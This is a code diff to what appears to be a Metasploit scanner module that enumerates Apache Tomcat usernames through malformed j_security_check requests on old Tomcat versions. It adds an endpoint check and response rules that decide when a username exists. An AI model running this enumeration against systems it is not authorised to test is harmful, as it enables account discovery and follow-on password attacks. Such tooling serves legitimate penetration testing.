@@ -20,8 +20,11 @@ def initialize
20
20
super (
21
21
'Name' => 'Apache Tomcat User Enumeration' ,
22
22
'Description' => %q{
23
- Apache Tomcat user enumeration utility, for Apache Tomcat servers prior to version
24
- 6.0.20, 5.5.28, and 4.1.40.
23
+ This module enumerates Apache Tomcat's usernames via malformed requests to
24
+ j_security_check, which can be found in the web administration package. It should
25
+ work against Tomcat servers 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18.
26
+ Newer versions no longer have the "admin" package by default. The 'admin' package
27
+ is no longer provided for Tomcat 6 and later versions.
25
28
} ,
26
29
'Author' =>
27
30
[
@@ -54,7 +57,23 @@ def target_url
54
57
"http://#{ vhost } :#{ rport } #{ uri } "
55
58
end
56
59
60
+ def has_j_security_check?
61
+ print_status ( "#{ target_url } - Checking j_security_check..." )
62
+ res = send_request_raw ( { 'uri' => normalize_uri ( datastore [ 'URI' ] ) } )
63
+ if res
64
+ print_status ( "#{ target_url } - Server returned: #{ res . code . to_s } " )
65
+ return true if res . code == 200 or res . code == 302
66
+ end
67
+
68
+ false
69
+ end
70
+
57
71
def run_host ( ip )
72
+ unless has_j_security_check?
73
+ print_error ( "#{ target_url } - Unable to enumerate users with this URI" )
74
+ return
75
+ end
76
+
58
77
@users_found = { }
59
78
60
79
each_user_pass { |user , pass |
@@ -85,15 +104,18 @@ def do_login(user)
85
104
'data' => post_data ,
86
105
} , 20 )
87
106
88
- if res
89
- if res . code == 200
90
- if res . headers [ 'Set-Cookie' ]
91
- vprint_status ( "#{ target_url } - Apache Tomcat #{ user } not found " )
92
- else
93
- print_good ( "#{ target_url } - Apache Tomcat #{ user } found " )
94
- @users_found [ user ] = :reported
95
- end
96
- end
107
+ if res and res . code == 200 and res . headers [ 'Set-Cookie' ]
108
+ vprint_error ( "#{ target_url } - Apache Tomcat #{ user } not found " )
109
+ elsif res and res . body =~ /invalid username/i
110
+ vprint_error ( "#{ target_url } - Apache Tomcat #{ user } not found " )
111
+ elsif res and res . code == 500
112
+ # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
113
+ vprint_good ( "#{ target_url } - Apache Tomcat #{ user } found " )
114
+ @users_found [ user ] = :reported
115
+ elsif res and res . body . empty? and res . headers [ 'Location' ] !~ /error\. jsp$/
116
+ # Based on: http://archives.neohapsis.com/archives/bugtraq/2009-06/0047.html
117
+ print_good ( "#{ target_url } - Apache Tomcat #{ user } found " )
118
+ @users_found [ user ] = :reported
97
119
else
98
120
print_error ( "#{ target_url } - NOT VULNERABLE" )
99
121
return :abort
@@ -106,3 +128,12 @@ def do_login(user)
106
128
end
107
129
108
130
end
131
+
132
+ =begin
133
+
134
+ If your Tomcat doesn't have the admin package by default, download it here:
135
+ http://archive.apache.org/dist/tomcat/
136
+
137
+ The package name should look something like: apache-tomcat-[version]-admin.zip
138
+
139
+ =end
0 commit comments